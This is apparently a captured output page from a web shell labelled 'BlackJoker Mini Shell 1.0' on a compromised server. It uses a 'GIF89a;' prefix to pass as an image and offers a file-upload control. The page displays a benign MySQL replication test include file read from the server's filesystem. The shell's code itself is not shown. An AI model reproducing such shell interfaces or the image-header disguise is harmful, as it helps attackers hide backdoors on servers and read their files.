GIF89a; Mini Shell

Mini Shell

Direktori : /usr/share/mysql-test/extra/rpl_tests/
Upload File :
Current File : //usr/share/mysql-test/extra/rpl_tests/rpl_insert_ignore_gtid_on.inc

if (!`SELECT COUNT(*) = 0 OR VARIABLE_VALUE != 'ON' FROM INFORMATION_SCHEMA.GLOBAL_VARIABLES WHERE VARIABLE_NAME = 'GTID_MODE'`)
{
  --let $i=1
  --let $j=1
  while ($i)
  {
    --let $temp= query_get_value("SHOW BINLOG EVENTS", Pos, $j)
    --let $temp2=`select $binlog_start - $temp`
    if($temp2==0)
    {
      --let $binlog_offset= query_get_value(SHOW BINLOG EVENTS, End_log_pos, $j)
      dec $i;
    }
   inc $j;
  }
  --let $binlog_start= $binlog_offset
}

./BlackJoker Mini Shell 1.0